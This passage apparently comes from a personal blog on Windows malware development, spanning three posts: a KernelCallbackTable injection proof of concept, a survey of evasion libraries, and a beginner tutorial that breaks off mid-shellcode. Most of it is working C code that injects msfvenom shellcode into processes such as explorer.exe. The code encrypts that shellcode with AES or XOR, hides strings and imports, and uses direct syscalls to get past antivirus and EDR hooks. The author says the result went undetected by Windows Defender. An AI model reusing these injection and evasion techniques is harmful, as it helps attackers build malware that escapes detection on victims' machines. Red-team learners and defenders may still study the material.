	DWORD pid;
	GetWindowThreadProcessId(hWindow, &pid);
	printf("[+] Process ID: %d\n", pid);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Process Handle: 0x%p\n", hProcess);

	// Read PEB and KernelCallBackTable addresses
	PROCESS_BASIC_INFORMATION pbi;
	pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
	myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb;
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);

	KERNELCALLBACKTABLE kct;
	ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
	printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);

	// Write the payload to remote process
	LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);
	printf("[+] Payload Address: 0x%p\n", payloadAddr);

	// 4. Write the new table to the remote process
	LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
	WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
	printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA);

	// Update the PEB
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
	printf("[+] Remote process PEB updated\n");

	// Trigger execution of payload
	COPYDATASTRUCT cds;
	WCHAR msg[] = L"Pwn";
	cds.dwData = 1;
	cds.cbData = lstrlen(msg) * 2;
	cds.lpData = msg;
	SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
	printf("[+] Payload executed\n");
}

NOTE: I already removed the cleanup code (like restoring the original KernelCallbackTable) because they don’t matter anymore since the target process has already crashed and exited.

The full project can be found here.

And here it is in action.

Conclusion

That’s it! That is how I modified the base PoC to make KernelCallbackTable process injection work according to what I wanted.

If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)

Useful Libraries for Malware Development

Wed, 16 Feb 2022 00:00:00 +0000

The use of libraries for development is great especially if you’re a beginner and wanted something that will surely work right out of the box and wanted to save time.

In this post, I’ll share some of the libraries that I found easy to use and useful during my malware development journey.

tiny-AES-c

When writing malware, it’s a must to encrypt your shellcode. Otherwise, your malware won’t even pass the static analysis. One of the recommended ways of encrypting the shellcode is by using AES, and one of the easiest ways to implement this is by using the kokke/tiny-AES-c library.

To use this library, just add the following header and source files to your project.

The following shows an example of how to AES-encrypt (using CBC mode) your shellcode and its corresponding output.

#include <Windows.h>
#include <stdio.h>
#include "lib/aes.hpp"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);

	printf("Encrypted buffer:\n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", shellcode[i]);
	}

	printf("\n");
}

To decrypt the encrypted shellcode, simply used the AES_CBC_decrypt_buffer() function.

Other AES libraries also exist like the following:

skCrypter

skadro-official/skCrypter is a compile-time, user-mode and kernel-mode string crypter library. It uses XOR algorithm with a randomized key and has protection against default XOR brute-forcing.

But why do we need to encrypt/obfuscate our strings? This is done to “hide” some of the arfifacts of your malware. While it may help a little bit against average reverse engineers, obfuscating strings is still a good idea.

As an example, take a look at the following code which dynamically resolves the NtDelayExecution function via GetModuleHandleA and GetProcAddress to perform a “sleep” routine.

#include <Windows.h>
#include <stdio.h>

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

If we compile the above code and look for the “ntdll.dll” and “NtDelayExecution” strings, they are visible.

If we used functions that are considered malicious, such as the combination of OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread, then our malware might not even pass the static analysis phase of an AV.

This is where the library skadro-official/skCrypter comes into play. To use it, just import the header file skCrypter.h and place the strings you wanted to obfuscate within the skCrypt() function.

As a demo, the previous code was modified to hide both the “ntdll.dll” and “NtDelayExecution” strings using the skCrypter.h library:

#include <Windows.h>
#include <stdio.h>
#include "lib/skCrypter.h"

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA(skCrypt("ntdll.dll")), skCrypt("NtDelayExecution"));

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

As we can see, the strings disappeared within the binary.

I also found the following string encryption libraries, though I haven’t used/tested them:

lazy_importer

WinAPI functions used by binaries are listed in the binary’s Import Address Table (IAT). This is not good in terms of evasion since most anti-malware solutions reads the binary’s IAT and checks for the presence of dangerous/malicious functions imported/used.

#include <Windows.h>

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

For example, if the above code was compiled, the function CreateProcessW is listed in the IAT and is flagged by PEStudio.

This artifact can be easily hidden by utilizing the JustasMasiulis/lazy_importer header. Using it is as simple as importing the header file lazy_importer.hpp and invoking the LI_FN() function. For example:

#include <Windows.h>
#include "lib/lazy_importer.hpp"

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    LI_FN(CreateProcessW)(L"C:\\Windows\\System32\\notepad.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

NOTE: Change NULL values to nullptr otherwise you’ll get a compilation error.

If we look at the IAT again, the CreateProcessW function is not listed anymore.

The following could also be used as an alternative library to dynamically import functions and modules:

AmJayden/Lazy-Importer

SysWhisper2

If you’ve been into AV/EDR evasion, I’m sure you’re aware that using syscalls is a well-known method to bypass detection controls (such as “User-land Hooking”) by jumping into kernel-mode. And if you heard about syscalls, most likely you’re familiar with the tool jthuraisamy/SysWhispers2.

To use the tool, just run the python script syswhispers.py with the “Nt*” functions you want to use to generate the required files. For example:

$ python3 syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o syscalls

                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.asm

Then do the following:

Copy the generated H/C/ASM files into the project folder.
In Visual Studio, go to Project → Build Customizations… and enable MASM.
In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.
Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.
Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.

The “Nt*” functions can now be used. For example:

#include <Windows.h>
#include "lib/syscalls.h"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 11256;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	NtClose(hProcess);
	NtClose(hThread);

	return 0;
}

The downside of using this tool is that it’s already signatured by AV, though it can still be bypassed as mentioned in my previous post.

For x86 syscalls, mai1zhi2/SysWhispers2_x86 could be used.

inline_syscall

Aside from being detected by AVs, the other thing that I don’t like with jthuraisamy/SysWhispers2 is the additional task of re-running the tool and re-importing the generated files every time I need to add or use a new “Nt*” functions.

Good thing, JustasMasiulis/inline_syscall solves this issue. To use it, simply import the following files as header files:

Then call the initialization function jm::init_syscalls_list() before using the INLINE_SYSCALL(function_pointer) and INLINE_SYSCALL_T(function_type) macros.

NOTE: If you’re using Visual Studio, make sure to use LLVM (clang-cl) as the Platform Toolset.

Here’s an example code that utilizes the INLINE_SYSCALL macro:

#include <Windows.h>
#include "lib/in_memory_init.hpp"

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);

NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);

NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

NTSTATUS NtClose(IN HANDLE Handle);

int main(int argc, char* argv[])
{
	jm::init_syscalls_list();

	// PID of explorer.exe
	DWORD pid = 4396;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	INLINE_SYSCALL(NtOpenProcess)(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	INLINE_SYSCALL(NtAllocateVirtualMemory)(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	INLINE_SYSCALL(NtWriteVirtualMemory)(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	INLINE_SYSCALL(NtCreateThreadEx)(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	INLINE_SYSCALL(NtClose)(hProcess);
	INLINE_SYSCALL(NtClose)(hThread);

	return 0;
}

NOTE: Make sure to create the necessary structs and typedefs as this tool won’t do it for you, unlike jthuraisamy/SysWhispers2.

TIP: Use jthuraisamy/SysWhispers2 to generate the required structs and typedefs, then utilize JustasMasiulis/inline_syscall when using syscalls.

If we run the compiled binary against Windows Defender, it was not detected (at the time of writing) compared to the binary generated with jthuraisamy/SysWhispers2.

Conclusion

That’s it for now! I know I may have missed some libraries, so if you know some easy to use libraries for malware development, feel free to let me know and I can add them here.

Huge thanks to all the people who are dedicating their time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, please support and sponsor their work.

Quick & Lazy Malware Development

Wed, 15 Dec 2021 00:00:00 +0000

Have you ever wanted to write malware (for educational purposes) but don’t know how/where to start? How about writing a custom implant to bypass an AV for an engagement but time is very limited? Or you just simply want to write malware to upskill and/or better understand how Windows API works but are too lazy to start working on it.

Don’t worry because you’re not alone. No one starts off being excellent and we’re all once a beginner. Also, not every one of us is motivated to start working on some things. And if you’re like me who doesn’t have all the free time to develop something from scratch and is sometimes “too lazy” to work on things, I just simply Google my way to “quickly” get things done.

In this post, I’ll demonstrate how to write malware (for whatever purposes you needed it) from the perspective of someone who has very limited time to develop it and someone who has very basic programming skills.

Introduction

The binary that we’re going to develop will inject a shellcode into a remote process running on the target system. This technique, which is commonly employed by malware authors, is called Process Injection, and there are several different ways of implementing this technique as documented in the following:

We don’t want to get stuck in “analysis paralysis” on which process injection technique is “best”, so we’ll just stick to the classic CreateRemoteThread method. The image below best illustrates how this technique works.

Huge thanks to Elastic for creating this awesome GIF and for their awesome blog post

Skeleton Code

Now, since we’re “too lazy” to start from scratch, we can just simply search the web on how to do this. For this post, I’ll use the code provided by @spotheplanet in his post about this technique.

So here’s what the skeleton code would look like (Note that I made very slight modifications with the code.):

#include <Windows.h>

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 5284;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	HANDLE hProcess;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = VirtualAllocEx(hProcess, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, nullptr);

	HANDLE hThread;
	hThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)baseAddress, nullptr, 0, nullptr);

	CloseHandle(hProcess);

	return 0;
}

I highly recommend the following repos if you want to have a baseline code for various process injection techniques:

injection by @modexpblog

injection by @theevilbit

If we compile and run the above code, we can see that the injection worked. As illustrated below, the shellcode was injected into the address space of explorer.exe.

Obviously, this code is signatured heavily already by AV vendors and will be caught immediately.

Encrypting the Shellcode

So how can we improve our malware? The first thing that we can do is to encrypt our shellcode since shellcodes generated by msfvenom are heavily signatured and any AV would immediately detect it. We will not write a custom encoder/crypter since we’re just noobs and we don’t have time. So we’ll Google our way on this.

For this one, we’ll AES-encrypt the shellcode. Good thing open-source libraries are available to ease things up. Example of them are the following:

I’m going to use kokke/tiny-AES-c for this post. To use this library, simply download the following files and add them to your Visual Studio project.

Then on the main.cpp file, add the header file aes.hpp by adding the following line.

#include "include/aes.hpp"

We’ll also use AES256 instead of the default AES128. To do that, open the file aes.h and comment out #define AES128 1 (line 27) and uncomment #define AES256 1 (line 29).

Now that everything is set up, it’s time to encrypt the shellcode. This can be done using the following code.

#include <Windows.h>
#include "include/aes.hpp"
#include <stdio.h>

int main(int argc, char* argv[])
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);

	printf("Encrypted buffer:\n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", shellcode[i]);
	}
}

The following shows the output of the above code and the AES-encrypted shellcode.

To use it, simply change the contents of shellcode parameter using the above output, and then add the decryption code. The following shows the updated code:

#include <Windows.h>
#include "include/aes.hpp"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 5284;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
